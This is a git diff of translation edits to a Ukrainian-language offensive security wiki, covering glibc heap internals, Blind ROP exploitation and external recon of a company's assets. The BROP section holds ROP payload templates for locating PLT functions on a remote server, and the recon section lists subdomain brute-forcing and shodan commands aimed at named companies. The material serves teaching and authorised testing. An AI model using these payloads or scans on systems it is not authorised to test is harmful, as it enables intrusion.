Translated ['binary-exploitation/libc-heap/README.md', 'binary-exploitat
Before Width: | Height: | Size: 152 KiB After Width: | Height: | Size: 1.6 KiB |
Before Width: | Height: | Size: 1.6 KiB After Width: | Height: | Size: 32 KiB |
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 142 KiB |
Before Width: | Height: | Size: 142 KiB After Width: | Height: | Size: 108 KiB |
Before Width: | Height: | Size: 108 KiB After Width: | Height: | Size: 63 KiB |
Before Width: | Height: | Size: 63 KiB After Width: | Height: | Size: 36 KiB |
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 3.7 KiB |
Before Width: | Height: | Size: 3.7 KiB After Width: | Height: | Size: 12 KiB |
Before Width: | Height: | Size: 12 KiB After Width: | Height: | Size: 4.1 KiB |
Before Width: | Height: | Size: 4.1 KiB After Width: | Height: | Size: 131 KiB |
|
@ -197,6 +197,7 @@
|
|||
* [macOS TCC Payloads](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md)
|
||||
* [macOS Dangerous Entitlements & TCC perms](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md)
|
||||
* [macOS MACF](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf.md)
|
||||
* [macOS Code Signing](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-code-signing.md)
|
||||
* [macOS FS Tricks](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md)
|
||||
* [macOS xattr-acls extra stuff](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/macos-xattr-acls-extra-stuff.md)
|
||||
* [macOS Users & External Accounts](macos-hardening/macos-security-and-privilege-escalation/macos-users.md)
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
Коли запитується зберігання деяких даних у хіпі, для них виділяється певний обсяг пам'яті. Цей обсяг буде належати біну, і лише запитані дані + простір заголовків бінів + мінімальний зсув розміру біна буде зарезервовано для чанка. Мета полягає в тому, щоб зарезервувати якомога менше пам'яті, не ускладнюючи пошук, де знаходиться кожен чанк. Для цього використовується інформація про метадані чанка, щоб знати, де знаходиться кожен використаний/вільний чанк.
|
||||
|
||||
Існують різні способи резервування простору, в основному залежно від використаного біна, але загальна методологія є такою:
|
||||
Існують різні способи резервування простору, головним чином залежно від використаного біна, але загальна методологія є такою:
|
||||
|
||||
* Програма починає з запиту певної кількості пам'яті.
|
||||
* Якщо в списку чанків є доступний, достатньо великий, щоб задовольнити запит, він буде використаний.
|
||||
|
@ -29,7 +29,7 @@
|
|||
|
||||
Щоб вирішити цю проблему, аллокатор хіпу ptmalloc2 ввів "арени", де **кожна арена** діє як **окремий хіп** зі своїми **власними** структурами **даних** та **м'ютексом**, що дозволяє кільком потокам виконувати операції з хіпом без перешкоджання один одному, якщо вони використовують різні арени.
|
||||
|
||||
За замовчуванням "основна" арена обробляє операції з хіпом для однопотокових додатків. Коли **додаються нові потоки**, менеджер хіпу призначає їм **вторинні арени**, щоб зменшити конкуренцію. Спочатку він намагається приєднати кожен новий потік до невикористаної арени, створюючи нові, якщо це необхідно, до межі 2 рази кількості ядер ЦП для 32-бітних систем і 8 разів для 64-бітних систем. Коли межа досягається, **потоки повинні ділити арени**, що може призвести до потенційної конкуренції.
|
||||
За замовчуванням "основна" арена обробляє операції з хіпом для однопотокових додатків. Коли **додаються нові потоки**, менеджер хіпу призначає їм **вторинні арени**, щоб зменшити конкуренцію. Спочатку він намагається приєднати кожен новий потік до невикористаної арени, створюючи нові, якщо це необхідно, до межі 2 разів кількості ядер ЦП для 32-бітних систем і 8 разів для 64-бітних систем. Коли межа досягається, **потоки повинні ділити арени**, що може призвести до потенційної конкуренції.
|
||||
|
||||
На відміну від основної арени, яка розширюється за допомогою системного виклику `brk`, вторинні арени створюють "підхіпи" за допомогою `mmap` та `mprotect`, щоб імітувати поведінку хіпу, що дозволяє гнучко управляти пам'яттю для багатопотокових операцій.
|
||||
|
||||
|
@ -42,9 +42,9 @@
|
|||
* Підхіпи, які використовуються вторинними аренами, створюються через `mmap`, системний виклик, який відображає вказану область пам'яті.
|
||||
2. **Резервування Пам'яті з `mmap`**:
|
||||
* Коли менеджер хіпу створює підхіп, він резервує великий блок пам'яті через `mmap`. Це резервування не виділяє пам'ять негайно; воно просто позначає область, яку інші системні процеси або алокації не повинні використовувати.
|
||||
* За замовчуванням резервований розмір для підхіпу становить 1 МБ для 32-бітних процесів і 64 МБ для 64-бітних процесів.
|
||||
* За замовчуванням зарезервований розмір для підхіпу становить 1 МБ для 32-бітних процесів і 64 МБ для 64-бітних процесів.
|
||||
3. **Поступове Розширення з `mprotect`**:
|
||||
* Резервована область пам'яті спочатку позначена як `PROT_NONE`, що вказує на те, що ядру не потрібно виділяти фізичну пам'ять для цього простору поки що.
|
||||
* Зарезервована область пам'яті спочатку позначена як `PROT_NONE`, що вказує на те, що ядро не повинно виділяти фізичну пам'ять для цього простору поки що.
|
||||
* Щоб "зрости" підхіп, менеджер хіпу використовує `mprotect`, щоб змінити дозволи сторінок з `PROT_NONE` на `PROT_READ | PROT_WRITE`, спонукаючи ядро виділити фізичну пам'ять для раніше зарезервованих адрес. Цей покроковий підхід дозволяє підхіпу розширюватися за потреби.
|
||||
* Як тільки весь підхіп вичерпується, менеджер хіпу створює новий підхіп для продовження алокації.
|
||||
|
||||
|
@ -87,10 +87,10 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
|
|||
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
|
||||
```
|
||||
* `mchunkptr bins[NBINS * 2 - 2];` містить **вказівники** на **перші та останні частини** малих, великих і неупорядкованих **бінів** (мінус 2, оскільки індекс 0 не використовується)
|
||||
* Отже, **перша частина** цих бінів матиме **зворотний вказівник на цю структуру**, а **остання частина** цих бінів матиме **прямий вказівник** на цю структуру. Це в основному означає, що якщо ви зможете **викрити ці адреси в основній арені**, ви отримаєте вказівник на структуру в **libc**.
|
||||
* Структури `struct malloc_state *next;` та `struct malloc_state *next_free;` є зв'язаними списками арен
|
||||
* Отже, **перша частина** цих бінів буде мати **зворотний вказівник на цю структуру**, а **остання частина** цих бінів буде мати **прямий вказівник** на цю структуру. Це в основному означає, що якщо ви зможете **викрити ці адреси в основній арені**, ви отримаєте вказівник на структуру в **libc**.
|
||||
* Структури `struct malloc_state *next;` і `struct malloc_state *next_free;` є зв'язаними списками арен
|
||||
* `top` частина є останньою "частиною", яка в основному є **всією залишковою пам'яттю купи**. Як тільки верхня частина "порожня", купа повністю використана, і потрібно запитати більше місця.
|
||||
* `last reminder` частина виникає в випадках, коли частина точного розміру недоступна, і тому більша частина розділяється, а вказівник на залишкову частину розміщується тут.
|
||||
* `last reminder` частина виникає в випадках, коли частина точного розміру недоступна, і тому більша частина розділяється, вказівник залишкової частини розміщується тут.
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
|
||||
|
||||
|
@ -161,11 +161,11 @@ typedef struct malloc_chunk* mchunkptr;
|
|||
|
||||
Метадані зазвичай 0x08B, що вказує на розмір поточної частини, використовуючи останні 3 біти для вказівки:
|
||||
|
||||
* `A`: Якщо 1, це походить з підкучі, якщо 0 - в основній арені
|
||||
* `A`: Якщо 1, це з підкучу, якщо 0, це в основній арені
|
||||
* `M`: Якщо 1, ця частина є частиною простору, виділеного за допомогою mmap, і не є частиною купи
|
||||
* `P`: Якщо 1, попередня частина використовується
|
||||
|
||||
Потім, простір для даних користувача, і нарешті 0x08B для вказівки розміру попередньої частини, коли частина доступна (або для зберігання даних користувача, коли вона виділена).
|
||||
Потім, простір для даних користувача, і нарешті 0x08B, щоб вказати розмір попередньої частини, коли частина доступна (або для зберігання даних користувача, коли вона виділена).
|
||||
|
||||
Більше того, коли доступно, дані користувача також використовуються для зберігання деяких даних:
|
||||
|
||||
|
@ -258,7 +258,7 @@ req = (req + (__MTAG_GRANULE_SIZE - 1)) &
|
|||
return request2size (req);
|
||||
}
|
||||
```
|
||||
Зверніть увагу, що для обчислення загального необхідного простору `SIZE_SZ` додається лише 1 раз, оскільки поле `prev_size` може використовуватися для зберігання даних, тому потрібен лише початковий заголовок.
|
||||
Зверніть увагу, що для розрахунку загального необхідного простору `SIZE_SZ` додається лише 1 раз, оскільки поле `prev_size` може використовуватися для зберігання даних, тому потрібен лише початковий заголовок.
|
||||
|
||||
### Отримати дані фрагмента та змінити метадані
|
||||
|
||||
|
@ -327,7 +327,7 @@ people extending or adapting this malloc.
|
|||
/* Treat space at ptr + offset as a chunk */
|
||||
#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))
|
||||
```
|
||||
* Інсуючий біт
|
||||
* Інсуюча біт
|
||||
```c
|
||||
/* extract p's inuse bit */
|
||||
#define inuse(p) \
|
||||
|
@ -470,12 +470,12 @@ return 0;
|
|||
|
||||
Відлагоджуючи попередній приклад, можна побачити, що на початку є лише 1 арена:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Потім, після виклику першого потоку, того, що викликає malloc, створюється нова арена:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Потім, після виклику першого потоку, який викликає malloc, створюється нова арена:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
і всередині неї можна знайти кілька шматків:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
|
|
@ -27,7 +27,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
### **1. Знайти вразливий офсет** відправляючи ще один символ, поки не буде виявлено збій сервера
|
||||
|
||||
### **2. Брутфорс канарку** для її витоку
|
||||
### **2. Брутфорс канарейку** для її витоку
|
||||
|
||||
### **3. Брутфорс збережених адрес RBP та RIP** у стеку для їх витоку
|
||||
|
||||
|
@ -35,13 +35,13 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
### **4. Знайти стоп-гаджет**
|
||||
|
||||
Цей гаджет в основному дозволяє підтвердити, що щось цікаве було виконано гаджетом ROP, оскільки виконання не призвело до збою. Зазвичай, цей гаджет буде чимось, що **зупиняє виконання** і розташоване в кінці ланцюга ROP, коли шукають гаджети ROP, щоб підтвердити, що конкретний гаджет ROP був виконаний.
|
||||
Цей гаджет в основному дозволяє підтвердити, що щось цікаве було виконано гаджетом ROP, оскільки виконання не призвело до збою. Зазвичай цей гаджет буде чимось, що **зупиняє виконання** і розташоване в кінці ланцюга ROP, коли шукають гаджети ROP, щоб підтвердити, що конкретний гаджет ROP був виконаний.
|
||||
|
||||
### **5. Знайти гаджет BROP**
|
||||
|
||||
Ця техніка використовує гаджет [**ret2csu**](ret2csu.md). І це тому, що якщо ви отримуєте доступ до цього гаджета посеред деяких інструкцій, ви отримуєте гаджети для контролю **`rsi`** та **`rdi`**:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
|
||||
Це будуть гаджети:
|
||||
|
||||
|
@ -64,7 +64,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
### 6. Знайти PLT
|
||||
|
||||
Таблицю PLT можна шукати з 0x400000 або з **витягнутої адреси RIP** зі стеку (якщо **PIE** використовується). **Записи** таблиці **відокремлені на 16B** (0x10B), і коли викликається одна функція, сервер не зривається, навіть якщо аргументи неправильні. Також перевірка адреси запису в **PLT + 6B також не призводить до збою**, оскільки це перший код, що виконується.
|
||||
Таблицю PLT можна шукати з 0x400000 або з **витягнутої адреси RIP** зі стеку (якщо **PIE** використовується). **Записи** таблиці **відокремлені на 16B** (0x10B), і коли викликається одна функція, сервер не зупиняється, навіть якщо аргументи неправильні. Також перевірка адреси запису в **PLT + 6B також не призводить до збою**, оскільки це перший код, що виконується.
|
||||
|
||||
Отже, можна знайти таблицю PLT, перевіряючи наступні поведінки:
|
||||
|
||||
|
@ -74,22 +74,22 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
### 7. Знайти strcmp
|
||||
|
||||
Функція **`strcmp`** встановлює регістр **`rdx`** на довжину рядка, що порівнюється. Зверніть увагу, що **`rdx`** є **третім аргументом**, і нам потрібно, щоб він був **більше 0**, щоб пізніше використовувати `write` для витоку програми.
|
||||
Функція **`strcmp`** встановлює регістр **`rdx`** на довжину рядка, що порівнюється. Зверніть увагу, що **`rdx`** є **третім аргументом**, і нам потрібно, щоб він був **більшим за 0**, щоб пізніше використовувати `write` для витоку програми.
|
||||
|
||||
Можна знайти місце **`strcmp`** в PLT на основі його поведінки, використовуючи той факт, що ми тепер можемо контролювати 2 перші аргументи функцій:
|
||||
Можна знайти місце розташування **`strcmp`** в PLT на основі його поведінки, використовуючи той факт, що ми тепер можемо контролювати 2 перші аргументи функцій:
|
||||
|
||||
* strcmp(\<не читати addr>, \<не читати addr>) -> збій
|
||||
* strcmp(\<не читати addr>, \<читати addr>) -> збій
|
||||
* strcmp(\<читати addr>, \<не читати addr>) -> збій
|
||||
* strcmp(\<читати addr>, \<читати addr>) -> немає збою
|
||||
* strcmp(\<non read addr>, \<non read addr>) -> збій
|
||||
* strcmp(\<non read addr>, \<read addr>) -> збій
|
||||
* strcmp(\<read addr>, \<non read addr>) -> збій
|
||||
* strcmp(\<read addr>, \<read addr>) -> немає збою
|
||||
|
||||
Це можна перевірити, викликавши кожен запис таблиці PLT або використовуючи **PLT повільний шлях**, який в основному полягає в **виклику запису в таблиці PLT + 0xb** (який викликає **`dlresolve`**) з наступним у стеку **номер запису, який потрібно перевірити** (починаючи з нуля), щоб просканувати всі записи PLT з першого:
|
||||
|
||||
* strcmp(\<не читати addr>, \<читати addr>) -> збій
|
||||
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Виникне збій
|
||||
* strcmp(\<читати addr>, \<не читати addr>) -> збій
|
||||
* strcmp(\<non read addr>, \<read addr>) -> збій
|
||||
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> викличе збій
|
||||
* strcmp(\<read addr>, \<non read addr>) -> збій
|
||||
* `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
|
||||
* strcmp(\<читати addr>, \<читати addr>) -> немає збою
|
||||
* strcmp(\<read addr>, \<read addr>) -> немає збою
|
||||
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
|
||||
|
||||
Пам'ятайте, що:
|
||||
|
@ -114,17 +114,17 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
* `dprintf(fd, data)`
|
||||
* `write(fd, data, len(data)`
|
||||
|
||||
Однак, оригінальна стаття згадує лише про **`write`**, тому давайте поговоримо про це:
|
||||
Однак оригінальна стаття згадує лише про **`write`**, тому давайте поговоримо про це:
|
||||
|
||||
Поточна проблема полягає в тому, що ми не знаємо **де функція write знаходиться всередині PLT** і ми не знаємо **номер fd, щоб надіслати дані до нашого сокету**.
|
||||
Поточна проблема полягає в тому, що ми не знаємо **де функція write знаходиться в PLT** і ми не знаємо **номер fd, щоб надіслати дані до нашого сокета**.
|
||||
|
||||
Однак, ми знаємо **де знаходиться таблиця PLT** і можна знайти write на основі його **поведінки**. І ми можемо створити **кілька з'єднань** з сервером і використовувати **високий FD**, сподіваючись, що він відповідає деяким з наших з'єднань.
|
||||
Однак ми знаємо **де знаходиться таблиця PLT** і можна знайти write на основі його **поведінки**. І ми можемо створити **кілька з'єднань** з сервером і використовувати **високий FD**, сподіваючись, що він відповідатиме деяким з наших з'єднань.
|
||||
|
||||
Поведінкові сигнатури для знаходження цих функцій:
|
||||
Поведінкові підписи для знаходження цих функцій:
|
||||
|
||||
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Якщо є дані, що виводяться, тоді знайдено puts
|
||||
* `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Якщо є дані, що виводяться, тоді знайдено dprintf
|
||||
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Якщо є дані, що виводяться, тоді знайдено write
|
||||
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Якщо дані надруковані, тоді знайдено puts
|
||||
* `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Якщо дані надруковані, тоді знайдено dprintf
|
||||
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Якщо дані надруковані, тоді знайдено write
|
||||
|
||||
## Автоматичне експлуатація
|
||||
|
||||
|
|
|
@ -15,39 +15,39 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Виявлення активів
|
||||
## Assets discoveries
|
||||
|
||||
> Вам сказали, що все, що належить якійсь компанії, знаходиться в межах сфери, і ви хочете з'ясувати, що насправді належить цій компанії.
|
||||
> Отже, вам сказали, що все, що належить якійсь компанії, знаходиться в межах обсягу, і ви хочете з'ясувати, що насправді належить цій компанії.
|
||||
|
||||
Мета цього етапу - отримати всі **компанії, що належать головній компанії**, а потім всі **активи** цих компаній. Для цього ми будемо:
|
||||
Мета цього етапу - отримати всі **компанії, що належать основній компанії**, а потім всі **активи** цих компаній. Для цього ми будемо:
|
||||
|
||||
1. Знайти придбання головної компанії, це дасть нам компанії в межах сфери.
|
||||
1. Знайти придбання основної компанії, це дасть нам компанії в межах обсягу.
|
||||
2. Знайти ASN (якщо є) кожної компанії, це дасть нам діапазони IP, що належать кожній компанії.
|
||||
3. Використовувати зворотні whois запити для пошуку інших записів (імен організацій, доменів...) пов'язаних з першим (це можна робити рекурсивно).
|
||||
4. Використовувати інші техніки, такі як фільтри shodan `org` і `ssl`, для пошуку інших активів (трик `ssl` можна робити рекурсивно).
|
||||
3. Використати зворотні whois запити для пошуку інших записів (імен організацій, доменів...) пов'язаних з першим (це можна зробити рекурсивно).
|
||||
4. Використати інші техніки, такі як фільтри shodan `org` і `ssl`, щоб шукати інші активи (трик `ssl` можна зробити рекурсивно).
|
||||
|
||||
### **Придбання**
|
||||
### **Acquisitions**
|
||||
|
||||
По-перше, нам потрібно знати, які **інші компанії належать головній компанії**.\
|
||||
Один з варіантів - відвідати [https://www.crunchbase.com/](https://www.crunchbase.com), **шукати** **головну компанію** і **натиснути** на "**придбання**". Там ви побачите інші компанії, придбані головною.\
|
||||
Інший варіант - відвідати сторінку **Вікіпедії** головної компанії та шукати **придбання**.
|
||||
По-перше, нам потрібно знати, які **інші компанії належать основній компанії**.\
|
||||
Один з варіантів - відвідати [https://www.crunchbase.com/](https://www.crunchbase.com), **шукати** основну компанію і **клікнути** на "**придбання**". Там ви побачите інші компанії, придбані основною.\
|
||||
Інший варіант - відвідати сторінку **Wikipedia** основної компанії і шукати **придбання**.
|
||||
|
||||
> Добре, на цьому етапі ви повинні знати всі компанії в межах сфери. Давайте з'ясуємо, як знайти їх активи.
|
||||
> Добре, на цьому етапі ви повинні знати всі компанії в межах обсягу. Давайте з'ясуємо, як знайти їх активи.
|
||||
|
||||
### **ASN**
|
||||
### **ASNs**
|
||||
|
||||
Номер автономної системи (**ASN**) - це **унікальний номер**, присвоєний **автономній системі** (AS) **Управлінням Інтернету (IANA)**.\
|
||||
Номер автономної системи (**ASN**) - це **унікальний номер**, призначений **автономній системі** (AS) **Управлінням Інтернету (IANA)**.\
|
||||
**AS** складається з **блоків** **IP-адрес**, які мають чітко визначену політику доступу до зовнішніх мереж і адмініструються однією організацією, але можуть складатися з кількох операторів.
|
||||
|
||||
Цікаво дізнатися, чи **компанія має призначений ASN**, щоб знайти її **діапазони IP**. Було б цікаво провести **тест на вразливість** проти всіх **хостів** в межах **сфери** та **шукати домени** в цих IP.\
|
||||
Цікаво дізнатися, чи **компанія призначила будь-який ASN**, щоб знайти її **діапазони IP.** Було б цікаво провести **тест на вразливість** проти всіх **хостів** в межах **обсягу** і **шукати домени** в цих IP.\
|
||||
Ви можете **шукати** за назвою компанії, за **IP** або за **доменом** на [**https://bgp.he.net/**](https://bgp.he.net)**.**\
|
||||
**Залежно від регіону компанії, ці посилання можуть бути корисними для збору додаткових даних:** [**AFRINIC**](https://www.afrinic.net) **(Африка),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Північна Америка),** [**APNIC**](https://www.apnic.net) **(Азія),** [**LACNIC**](https://www.lacnic.net) **(Латинська Америка),** [**RIPE NCC**](https://www.ripe.net) **(Європа). В будь-якому випадку, ймовірно, вся** корисна інформація **(діапазони IP та Whois)** вже з'являється за першим посиланням.
|
||||
**Залежно від регіону компанії, ці посилання можуть бути корисними для збору додаткових даних:** [**AFRINIC**](https://www.afrinic.net) **(Африка),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Північна Америка),** [**APNIC**](https://www.apnic.net) **(Азія),** [**LACNIC**](https://www.lacnic.net) **(Латинська Америка),** [**RIPE NCC**](https://www.ripe.net) **(Європа). В будь-якому випадку, ймовірно, вся** корисна інформація **(діапазони IP і Whois)** вже з'являється за першим посиланням.
|
||||
```bash
|
||||
#You can try "automate" this with amass, but it's not very recommended
|
||||
amass intel -org tesla
|
||||
|
@ -101,7 +101,7 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
|
|||
|
||||
### **Зворотний Whois (loop)**
|
||||
|
||||
У **whois** ви можете знайти багато цікавої **інформації**, такої як **назва організації**, **адреса**, **електронні адреси**, номери телефонів... Але що ще цікавіше, так це те, що ви можете знайти **більше активів, пов'язаних з компанією**, якщо ви виконаєте **зворотні запити whois за будь-яким з цих полів** (наприклад, інші реєстрації whois, де з'являється та сама електронна адреса).\
|
||||
У **whois** ви можете знайти багато цікавої **інформації**, такої як **назва організації**, **адреса**, **електронні листи**, номери телефонів... Але що ще цікавіше, так це те, що ви можете знайти **більше активів, пов'язаних з компанією**, якщо ви виконаєте **зворотні whois запити за будь-яким з цих полів** (наприклад, інші реєстрації whois, де з'являється та сама електронна адреса).\
|
||||
Ви можете використовувати онлайн-інструменти, такі як:
|
||||
|
||||
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Безкоштовно**
|
||||
|
@ -137,11 +137,11 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
|
|||
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
|
||||
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
||||
```
|
||||
![favihash - виявлення доменів з однаковим хешем значка фавікону](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)
|
||||
![favihash - виявлення доменів з однаковим хешем значка favicon](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)
|
||||
|
||||
Простими словами, favihash дозволить нам виявити домени, які мають однаковий хеш значка фавікону з нашим об'єктом.
|
||||
Простими словами, favihash дозволить нам виявити домени, які мають однаковий хеш значка favicon, як у нашої цілі.
|
||||
|
||||
Більше того, ви також можете шукати технології, використовуючи хеш значка фавікону, як пояснено в [**цьому блозі**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Це означає, що якщо ви знаєте **хеш значка фавікону вразливої версії веб-технології**, ви можете шукати в shodan і **знайти більше вразливих місць**:
|
||||
Більше того, ви також можете шукати технології, використовуючи хеш значка, як пояснено в [**цьому блозі**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Це означає, що якщо ви знаєте **хеш значка favicon вразливої версії веб-технології**, ви можете шукати в shodan і **знайти більше вразливих місць**:
|
||||
```bash
|
||||
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
|
||||
```
|
||||
|
@ -164,7 +164,7 @@ return fhash
|
|||
|
||||
### **CRT Time**
|
||||
|
||||
Зазвичай є cron job, такий як
|
||||
Зазвичай є завдання cron, таке як
|
||||
```bash
|
||||
# /etc/crontab
|
||||
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
|
||||
|
@ -307,7 +307,7 @@ curl -s "https://crt.sh/?q=%25.$1" \
|
|||
}
|
||||
crt tesla.com
|
||||
```
|
||||
* [**gau**](https://github.com/lc/gau)**:** отримує відомі URL-адреси з Open Threat Exchange AlienVault, Wayback Machine та Common Crawl для будь-якого заданого домену.
|
||||
* [**gau**](https://github.com/lc/gau)**:** отримує відомі URL з Open Threat Exchange AlienVault, Wayback Machine та Common Crawl для будь-якого домену.
|
||||
```bash
|
||||
# Get subdomains from GAUs found URLs
|
||||
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
|
||||
|
@ -370,7 +370,7 @@ grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
|
|||
```
|
||||
gobuster dns -d mysite.com -t 50 -w subdomains.txt
|
||||
```
|
||||
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) є обгорткою навколо `massdns`, написаною на go, яка дозволяє вам перераховувати дійсні піддомени, використовуючи активний брутфорс, а також вирішувати піддомени з обробкою диких символів та простим підтримкою вводу-виводу.
|
||||
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) є обгорткою навколо `massdns`, написаною на go, яка дозволяє вам перераховувати дійсні піддомени, використовуючи активний брутфорс, а також вирішувати піддомени з обробкою підстановок та простим підтримкою вводу-виводу.
|
||||
```
|
||||
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
|
||||
```
|
||||
|
@ -395,7 +395,7 @@ cat subdomains.txt | dnsgen -
|
|||
```bash
|
||||
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
|
||||
```
|
||||
* [**gotator**](https://github.com/Josue87/gotator)**:** Дано домени та піддомени, генерує перестановки. Якщо файл перестановок не вказано, gotator використовуватиме свій власний.
|
||||
* [**gotator**](https://github.com/Josue87/gotator)**:** Дано домени та піддомени, генерує перестановки. Якщо файл перестановок не вказано, gotator використає свій власний.
|
||||
```
|
||||
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
|
||||
```
|
||||
|
@ -420,13 +420,13 @@ python3 main.py adobe.com adobe adobe.rules
|
|||
make_brute_list.sh adobe.rules adobe.brute
|
||||
puredns resolve adobe.brute --write adobe.valid
|
||||
```
|
||||
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ є фуззером для брутфорсу піддоменів, поєднаним з надзвичайно простим, але ефективним алгоритмом, що керується відповідями DNS. Він використовує наданий набір вхідних даних, таких як спеціально підібраний список слів або історичні записи DNS/TLS, щоб точно синтезувати більше відповідних доменних імен і розширювати їх ще більше в циклі на основі інформації, зібраної під час сканування DNS.
|
||||
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ — це фуззер для брутфорсу піддоменів, поєднаний з надзвичайно простим, але ефективним алгоритмом, що керується відповідями DNS. Він використовує наданий набір вхідних даних, таких як спеціально підібраний список слів або історичні записи DNS/TLS, щоб точно синтезувати більше відповідних доменних імен і розширювати їх ще більше в циклі на основі інформації, зібраної під час сканування DNS.
|
||||
```
|
||||
echo www | subzuf facebook.com
|
||||
```
|
||||
